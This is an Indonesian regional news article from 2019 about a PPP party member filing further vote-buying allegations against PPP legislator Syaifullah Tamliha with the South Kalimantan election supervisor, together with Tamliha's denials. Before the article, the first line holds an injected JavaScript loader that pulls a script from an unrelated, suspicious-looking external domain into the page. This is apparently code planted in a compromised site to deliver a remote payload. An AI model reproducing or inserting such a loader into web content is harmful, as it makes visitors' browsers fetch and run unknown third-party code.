(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Laporan dugaan politik uang yang dilakukan caleg PPP Syaifullah Tamliha ke Bawaslu Kalsel kian bertambah. Seorang kader PPP, Nasrullah AR, Senin (13/5/2019) sekitar pukul 11.00 Wita mendatangi Badan Pengawas Pemilu (Bawaslu) Kalsel memberikan data tambahan atas laporan politik uang yang diajukan terhadap politisi senior PPP Syaifullah Tamliha.
Laporan tambahan tersebut berupa dua saksi yang menguatkan dugaan politik dan 1 petunjuk bukti sumbangan berupa kwitansi beserta uang Rp 130 juta. Berdasarkan laporan, uang tersebut akan dibagikan masing-masing Rp 100 ribu dikalikan untuk 50.000 suara. Dana tersebut diduga juga digunakan untuk membeli barang-barang berupa kipas angin, pipa, dan seng.
Kedatangan Nasrullah AR ke Bawaslu Kalsel juga dalam rangka mengklarifikasi tuduhan atas dirinya yang sempat disebutkan Syaifullah Tamliha bahwa dirinya mencoreng nama baik partai berlambang kakbah tersebut.
“Saya ini bukan pengurus inti, saya ini adalah Wakil Bendahara Pengurus Harian DPP PPP. Nah, jadi kalau beliau bilang saya memcemari nama baik partai, itu salah. Saya ini menegakkan hukum. Orang yang melanggar hukum, masa saya mencemari nama baik partai, justru ingin membersihkan nama baik partai,†ungkapnya.
Justru menurutnya, Syaifullah Tamliha lah yang mencemari nama baik partai dengan cara melakukan money politic dalam meraih suara. Apalagi mengingat PPP adalah partai yang berlandaskan Islam.
Beberapa waktu lalu, Syaifullah sempat menyatakan bahwa Nasrullah melakukan pencemaran nama baik atas dirinya dan melanggar undang-undang ITE. Hal ini pun juga ditepis oeh Nasrullah dan justru ia membeberkan pelanggaran hukum yang pernah dilakukan oleh Syaifullah.
“Dari awal saya tunggu kalau beliau mau melaporkan saya (pelanggaran ITE). Beliau ini banyak hal melanggar hukum. Pada 2008 atau 2009 kasus pemotongan dana masjid di Kotabaru. Itu masih ada jejak digitalnya. Dia juga tidak mengaku,†ungkapnya.
Begitu juga dengan SPBU dan SPBE yang dimiliki oleh Syaifullah yang berlokasi di Sungai Tabuk, Martapura. Nasrullah membeberkan bahwa ia mempunyai data dan saksi dari proses pengurusan izin hingga prosesi lapangan, serta pendistribusian SPBU dan SPBE tersebut yang tidak legal.
Bahkan jawaban Syaifullah atas klarifikasinya hari Minggu (12/5) lalu dianggap Nasrullah terlalu mengada-ada. “Itu kebiasaan, dia bilangnya (laporan di Bawaslu) bohong, tidak punya bukti kuat, dan juga pencemaran nama baik. Nah menurut saya itu ritual orang terlapor, untung beliau tidak menyatakan sakit dan hadir saja saat dipanggil,†tuturnya.
Nasrullah sendiri tidak takut jika hal ini akan berpengaruh bagi internal PPP karena tindak pidana ini bukan merupakan ranah partai tapi tindak pidana Pemilu.
“Saya sudah mengatakan, “Nabi mengatakan Demi Allah seandainya Fatimah mencuri maka saya yang potong tangannya.†Nah dalam konteks penegakan hukum, jangankan partai, keluarga pun bila melanggar harus ditegakkan. Orang-orang seperti itu mestinya tidak ada di dalam PPP,†pungkasnya.
Sebelumnya pada Minggu (12/5/2019), politisi senior PPP yang duduk di DPR RI Komisi I, Syaifullah Tamliha mendatangi kantor Bawaslu Kalsel. Kedatangan Syaifullah untuk diperiksa atas pelanggaran kampanye dan dugaan politik uang yang dilaporkan atas dirinya. Selama tiga jam lebih, sejak pukul 14.00 Wita, proses pemeriksaan dilakukan tertutup.
Ditemui usai pemeriksaan, pria yang di DPR menjabat Wakil Ketua Fraksi PPP ini mengatakan, kedatangannya ke Bawaslu adalah untuk mengklarifikasi terkait laporan atas dirinya yang dituduhkan berkampanye di masa tenang. Tepatnya satu hari sebelum pemilu berlangsung juga tuduhan atas uang sebesar Rp 25 ribu yang dibagikan saat reses.
Syaifulah yang selaku salah satu tokoh PPP ini pun menepis semua tuduhan tersebut.
“Saya bukan politisi kemarin sore. Saya kan di Jakarta (sehari sebelum pemilu), saya tidak punya tim kampanye, jadi tidak ada orang-orang bagi duit,†jelasnya.
Disampaikannya lebih lanjut, si pelapor yang mengatakan Syaifullah melakukan money politik adalah rekan satu partainya yakni Nasrullah AR. Ia sangat menyayangkan bahwa ada rekan satu partainya yang ingin menjatuhkannya. Ia menyebut hal ini seperti istilah ‘jeruk makan jeruk’.
Atas adanyakejadian ini pihaknya merencanakan akan melakulan rapat DPP yang jika nanti kejadian ini merusak citra dan martabat partai, tak menutup kemungkinan dilakukan pemecatan terhadap Nasrullah.
Sementara itu, Kasubag Humas dan Hubungan Antar Lembaga Bawaslu Kalsel Doddy Yulihartanso, mengatakan dugaan money politik yang dilakukan Syaifullah ini bertitik di daerah Haruyan dan Paramasan. Serta ada beberapa alat bukti berupa uang, replik surat suara, dan kartu nama.
Bawaslu akan melakukan pembahasan berikutnya pada hari Senin (13/5) untuk memenuhi unsur-unsur laporan dan jika tidak terpenuhi maka pihaknya akan memberhentikan pemeriksaan. “Bila ada terpenuhi unsur maka naik ke sidik,†jelas Doddy. (mario)
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
This website uses cookies.